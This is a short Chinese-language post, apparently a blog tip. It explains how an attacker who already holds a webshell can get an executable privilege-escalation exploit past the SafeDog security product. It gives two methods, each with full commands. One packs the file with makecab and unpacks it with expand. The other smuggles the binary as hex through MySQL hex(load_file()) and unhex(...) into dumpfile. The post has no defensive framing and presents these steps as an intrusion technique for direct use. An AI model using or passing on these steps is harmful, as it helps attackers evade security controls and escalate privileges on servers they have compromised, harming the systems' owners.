mysql特性绕过安全狗_两种绕过安全狗等上传可执行文件的方式

在获取到webshell时，往往需要上传exe类型的可执行exp进行提权，但是如果对方装有安全狗等，通过webshell上传是会被拦截的，所以，可以试试以下方法：

一、打包为压缩文件上传解压

这种方法需要可以执行系统命令，话说回来，如果不能执行系统命令，上传提权exp意义也不大

windows系统自带zip，可以通过在本地压缩，webshell里解压释放exp，具体命令如下：

压缩文件：

makecab c:/evil.exe c:/evil.zip

解压文件：

expand c:/evil.zip c:/evil.exe

二、通过mysql等写入

可以通过mysql的hex函数将可执行文件转换为16进制文本字符串，再通过unhex函数转换为可执行文件，具体如下：

本地mysql中执行

select hex(load_file('c:/evil.exe')) into dumpfile 'c:/hex.txt';

目标mysql中执行

select unhex(load_file('C:/RECYCLER/hex.txt')) into dumpfile 'C:/RECYCLER/evil.exe';

小提示：导出文件时，建议使用into dumpfile，因为使用into outfile函数会在行末端写入新行，更致命的是会转义换行符，破坏源2进制文件。